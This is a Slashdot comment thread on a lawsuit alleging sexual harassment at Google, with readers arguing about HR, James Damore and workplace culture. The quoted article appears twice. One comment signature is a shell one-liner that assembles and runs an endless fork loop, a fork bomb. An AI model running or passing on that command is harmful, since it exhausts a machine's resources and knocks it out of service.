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Google's 'Bro Culture' Led To Harassment, Argues New Lawsuit By Software Engineer (siliconvalley.com)
An anonymous reader quotes the Mercury News:
As a young, female software engineer at male-dominated Google, Loretta Lee was slapped, groped and even had a co-worker pop up from beneath her desk one night and tell her she'd never know what he'd been doing under there, according to a lawsuit filed against the Mountain View tech giant... Lee's lawsuit -- filed in Santa Clara County Superior Court -- alleges the company failed to to protect her, saying, "Google's bro-culture contributed to (Lee's) suffering frequent sexual harassment and gender discrimination, for which Google failed to take corrective action."
She was fired in February 2016 for poor performance, according to the suit... Lee started at the company in 2008 in Los Angeles and later switched to the firm's Mountain View campus, according to the suit, which asserts that she "was considered a talented and rising star" who received consistently "excellent" performance reviews. Lee claims that the "severe and pervasive" sexual harassment she experienced included daily abuse and egregious incidents. In addition to making lewd comments to her and ogling her "constantly," Lee's male co-workers spiked her drinks with whiskey and laughed about it; and shot Nerf balls and darts at her "almost every day," the suit alleges. One male colleague sent her a text message asking if she wanted a "horizontal hug," while another showed up at her apartment with a bottle of liquor, offering to help her fix a problem with one of her devices, refusing to leave when she asked him to, she alleges. At a holiday party, Lee "was slapped in the face by an intoxicated male co-worker for no apparent reason," according to the suit.
Lee resisted reporting an employee who had grabbed her lanyard and grazed her breasts -- and was then written up for being uncooperative. But after filing a report, "HR found her claims 'unsubstantiated,' according to the suit. 'This emboldened her colleagues to continue their inappropriate behavior,' the suit says.
"Her fear of being ostracized was realized, she claims, with co-workers refusing to approve her code in spite of her diligent work on it. Not getting her code approved led to her being 'labeled as a poor performer,' the suit says."
She was fired in February 2016 for poor performance, according to the suit... Lee started at the company in 2008 in Los Angeles and later switched to the firm's Mountain View campus, according to the suit, which asserts that she "was considered a talented and rising star" who received consistently "excellent" performance reviews. Lee claims that the "severe and pervasive" sexual harassment she experienced included daily abuse and egregious incidents. In addition to making lewd comments to her and ogling her "constantly," Lee's male co-workers spiked her drinks with whiskey and laughed about it; and shot Nerf balls and darts at her "almost every day," the suit alleges. One male colleague sent her a text message asking if she wanted a "horizontal hug," while another showed up at her apartment with a bottle of liquor, offering to help her fix a problem with one of her devices, refusing to leave when she asked him to, she alleges. At a holiday party, Lee "was slapped in the face by an intoxicated male co-worker for no apparent reason," according to the suit.
Lee resisted reporting an employee who had grabbed her lanyard and grazed her breasts -- and was then written up for being uncooperative. But after filing a report, "HR found her claims 'unsubstantiated,' according to the suit. 'This emboldened her colleagues to continue their inappropriate behavior,' the suit says.
"Her fear of being ostracized was realized, she claims, with co-workers refusing to approve her code in spite of her diligent work on it. Not getting her code approved led to her being 'labeled as a poor performer,' the suit says."
It strikes me as odd that James Damore was immediately fired for his writing, but other Google employees apparently engage in direct, physical harassment without consequence.
Perhaps the PC police fear the spread of wrongthink more than the actual crimes themselves.
Different groups of people in the same company have different obnoxious habits? How it possible????
I'm almost hesitant to describe this because it makes me wonder if former co-workers of mine read this site and will know what environment I'm talking about. Frequently, one co-worker who was eventually promoted to be a Director would often loudly ask questions like "Does it make you gay if _______?" and what went in the blank was always quite inappropriate and sometimes quite disturbing. There were also frequently mentions of sex acts like like Dirty Sanchez and Hot Carl's. If you don't know what those are, DO NOT look them up unless you want to be grossed out. Management knew this type of behavior was common as did HR and yet they looked the other way. In fact it was a running joke "Don't tell HR". The best part of it all is that you were compelled to join in this sophomoric behavior lest you be ostracized from the group, overlooked for promotions, etc. Absolutely filthy. Sometimes I wonder if Idiocracy is truly upon us.
We'll make great pets
I'm not a woman, and I wasn't sexually harassed, but I worked at a large biotech company in the SF Bay Area where for several years I had great reviews, I became the department's primary point of contact for one of the two segments of that business unit, I was given all of the projects that were large/complex/time sensitive because I always got them done... Then my manager's boss forced one of her personal friends on the department, a master manipulator, and true to form, it wasn't more than a couple of months before the complaints started rolling in as she set her sights on my job. Over the course of 6 months, I complain to my manager multiple times, alleging harassment on the part of my coworker, and his response is to retaliate against me. I was forced to sign a written warning, where he verbally told me he had made up a complaint from another employee in a different department. I go to the HR department, and they tell me not to worry about it and to just let it go. So I take it to the company's Ethics Office (sort of like an HR department that only investigates possible wrongdoing within the company) and despite being the one who brought the issue to their attention, I'm treated like the asshole and then fired two days later, in part because my complaint was considered "unsubstantiated."
I feel for this woman, and her mistake, like mine, was in going to the HR department instead of straight to California's DFEH. You file a complaint with them alleging some of these things, and make sure the head of HR, your manager, your manager's manager, and maybe even your manager's manager's manager, all know that you have filed this complaint, odds are they will be tripping over one another trying to resolve the problems quickly because they don't want a government agency sniffing around and finding any number of other illegal activities taking place that they turn a blind eye to.
Based on all the stories coming out recently about Google, it sounds like the company has definitely become a victim of its own success. Any time a company gets sufficiently large, these kinds of things happen. Employees aren't seen as human beings, just ID numbers in a database table, and any one of them is expendable if they start getting full of themselves, thinking silly things like they deserve to be treated like a human being and in accordance with state and federal law.
This has become a nation of schizophrenics. I'm not able to believe that both this woman's sob-story and James Damore's sob-story are both true. At some point in the information pipeline, data is being distorted, or wholesale invented.
The issue here is that women are also human, and are capable and willing to lie, abuse other people, and use their physical characteristics to get what they want. So there are bad actors out there who are not men, and modern feminism ideologically unprepared to deal with this realization.
I got into programming as a kid in the 80s, university in the 90s and programming as a day job ever since. I absolutely love reading these insane words they come up with. "Bro culture", "brogrammers" and the like. It is the most insane goddamn thing in the world. But it's only that way to me and people I know, when I step out side my circle and profession I meet people who actually believe this tripe.
Remember the movie Revenge of the Nerds, it's like if they remade that now in 2018 and reversed the jock/nerd stereotype characters and the nerds are now the out-of-control womanising bully asswipes, and people buy it.
Here is the thing. If you or your coworker doesn't want to be hit by darts. Then that is harassment. If you or someone asks them to please stop then they should stop. Because you are at work, not play.
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
You need to toughen up. You need to learn to defend [...] Your emotions do not matter. You need to be more [...] You need to undertake [...] You are polluting [...] you need to be expelled. You are rotten.
I know you're just venting at the internet right now, but I'm guessing you're also somewhat serious and apply this ethos to the people around you. It's belligerent and bullying, and doesn't show any recognition that people are fundamentally different from each other, or that technical skill, experience, and productivity can be completely separate from the tough personality traits you're demanding.
If you were on my team and talking like that, we would be having a very serious discussion about how your hostility impacts your co-workers. In my experience, software engineers who talk like you do tend not to make it very far. Maybe you're technically skilled in some focused area, but I bet your willful lack of empathy would impact your ability to work on a team, become a leader, design for your customers, and even architect code in a way that your co-workers would enjoy interacting with and learning from over time. After all, if you're not building up your teammates, then you're ultimately dragging everyone down.
I was hoping for a copy of the lawsuit, as it will contain what evidence she has. Unfortunately it doesn't seem to have been posted online yet.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
And on the face of it, based on what I've seen from particular (and blessedly former) coworkers, I believe this woman. But, with this lawsuit, I have some problems because of this paragraph:
"Lee’s superior and the firm’s human resources department learned of that incident and repeatedly tried persuading her to officially report the alleged groper, but she resisted out of fear of being ostracized as an “informer,” she claims. After she was written up for being uncooperative, she relented and reported the man, but HR found her claims “unsubstantiated,” according to the suit."
So the impression I get is that she wasn't reporting any of these incidents.
I do understand why someone might be uncomfortable reporting these problems... but, if you're not at least documenting them at the time they occur or - better - filing complaints as they happen... then you should be SOL.
#DeleteChrome
It's funny how the comments here mostly seek to minimize and dismiss her complaints (or outright accuse her of lying) while the comments on the James Damore story were mostly supportive.
I wonder what the difference could possibly be.
Basically this one team leader decided he didn't like me and wanted me off the team so he set me up for failure by tasking me with finding a memory leak in code the source of which I wasn't given access to, and even though the previous team leader had given me glowing reviews I was eventually let go because I couldn't find the leak anywhere outside of the code I suspected.
HR was worse than useless.
This sounds like a ridiculous bullshit story but I assure you it is true. I only had that experience once in my career but it stuck with me as an example of how office politics can just spontaneously cost you your job if someone higher up gets a whim up their ass.
Maybe all parties are lying or maybe none of them are.
It's entirely possible for the place to be a complete frat house all around: men grabbing at women, SJWs pissing on normal people, HR treating all complaints as grounds for terminating the complainer, and upper management adrift in the clouds making high-minded paeans to whatever gods they believe themselves to be the Earthly manifestations of.
I had a friend who used to work at an East Coast Google office a while back. He quit after a few years because his direct supervisor wouldn't let him take any vacation. He also loved his coworkers and the camaraderie of his peers.
You're being snarky, but look at the big picture. This person is alleging that she was outright sexually harassed multiple times, and her superiors did nothing. Damore is alleging that he simply voiced an opinion outside the PC party line, and was immediately fired. Not both of those things can be true. Somebody is lying, and lying poorly.
Have you ever worked in a large company? Despite being under the same corporate umbrella, different departments handle things *much* differently -- especially when some departments have come from acquisitions.
This has become a nation of schizophrenics. I'm not able to believe that both this woman's sob-story and James Damore's sob-story are both true. At some point in the information pipeline, data is being distorted, or wholesale invented. And folks are surprised that Americans don't trust their media, and elect con-men celebrities to high office.
What has happened is Identitarian politics of groups and group-identities. Google's problem with Damore, this person, and the rest that are certain to follow, is that Google themselves embraced Identitarian ideas. Google, to a large extent, brought this on themselves and in so doing, helped spread and give such broken ideas more power.
Identitarian politics of group identities feeds on and exacerbates the tribal behaviors inherent in human nature and enables the "Other-ing" of those who disagree, allowing for their dehumanization.
Once dehumanized, opponents can be dealt with expediently by any means as "the Enemy" without needing to listen to anything the Enemy has to say. They're Evil, after all, being the Enemy.
Identitarian politics have had an enormous effect upon culture. Even comedy. Can you imagine if today Steve Martin joked as he did in his movie "The Jerk" "I was born a poor black child." That would be the end of his career. Many top comedians won't do university/college tours anymore because of the intolerance.
Stop looking at what "group" somebody may be a part of and deciding on that basis whether to listen to what they're saying, and look at the person.
Strat
Progressivism (aka US 'Liberalism'): Ideas so good they need a police/surveillance-state to enforce.
Welcome to Costco. I love you.
In all seriousness:
And folks are surprised that Americans don't trust their media, and elect con-men celebrities to high office.
Get it through your thick skull, we elected that asshole because the asshole running against him was a bigger liar. She stands for women, but fired a victim of harassment and kept the harasser on her campaign. She stands with victims, but repeatedly attacked a rape victim in the media because her husband was the rapist. She's a strong woman, but doesn't have the self-respect to divorce his cheating ass.
The media had nothing to do with her losing.
I can completely believe that not being able to get code reviews could lead to performance problems.
If developers can routinely be penalised because of circumstances entirely out of their control, the company has serious management issues to resolve!
Damore got fired due to public outrage. His memo circulated for a while and nobody gave a shit. It wasn't until it was leaked, and an explosion happened, that he got fired.
Google reacted to the public outrage, not to the memo.
The public outrage was firmly rooted in a misreading of the memo, too. People thought, and still think, that Damore wrote that women were less suited than men to be software developers. I read the memo myself, and he simply did not say that. He said that common female attributes might explain why few women want to be programmers. Such a statement *in no way* suggests that they are less suited, nor does it create an unwelcoming environment.
But in the court of public opinion, Damore is a sexist who thinks women are inferior. And so, that is why he got fired.
Being that most of these posts here are on Slashdot seem to be against the idea that she was harassed, it doesn't really make too much sense for a woman to just accuse people of this stuff willy-nilly
Sure it does. People who fling around unfounded accusations don't care whether Slashdot takes them seriously; they care about what HR and corporate lawyers have to say on the matter. It's even worse in the case of government/military workers, where there's no concern about profitability and therefore no incentive to try and reign in the abuse. Lots of people (men and women) are willing to lie their asses off with zero corroborating evidence if they know that there's a high likelihood of a large payout.
Not necessarily. Look at Rotherham council. On the one hand they covered up the enslavement of 1400 children because of concerns about appearing racist - the children were mostly white and the pedo ring was mostly Pakistani.
So Rotherham council must have been a painfully PC place, right? Turns out it wasn't.
https://en.wikipedia.org/wiki/...
Published in January 2015, the Casey report concluded that the council had a bullying, sexist culture of covering up information and silencing whistleblowers, and was "not fit for purpose"
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Assuming the article accurately represents how she was treated, this is completely absolutely off the curve not OK. I don't know how common this is, but there are enough reports from enough different people at different companies that I believe its pretty widespread.
I've found that workplaces that have a larger percentage of older workers tend to do a lot better. Maybe the older workers who act like adults at work serve as role models for younger workers. In my (second hand) experience even the defense industry is far better than high-tech.
I would not tolerate anything like this sort of behavior in my group. I'm paying people (generally quite well) to do really interesting, really difficult work. I need all of them, and the last thing I want is some immature idiot making it more difficult for someone else in my group to do their work.
HR isn't there to help the employee. They are there to protect the employer. So of course they said her claims were unsubstantiated.
If her claims were backed by evidence, and HR said they were not, that is not "protecting the employer". It is setting them up to lose a lawsuit.
That is why the Nanny States in Europe have laws you loath us for ... ... but there are limitations how often that can happen.
An employee has to take vacation, by law. He can not go without nor can an employer deny it. Of course it happens sometimes that during a year an employee does not find a time period where he wants vacation and the employer does not agree to other time periods. Then the vacation days are shifted into the next year or "payed off"
And to be honest 10 or 14 vacation days ... and only very limited set of holidays ... it is surprising that the US have no riots and violent revolutions :D
Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.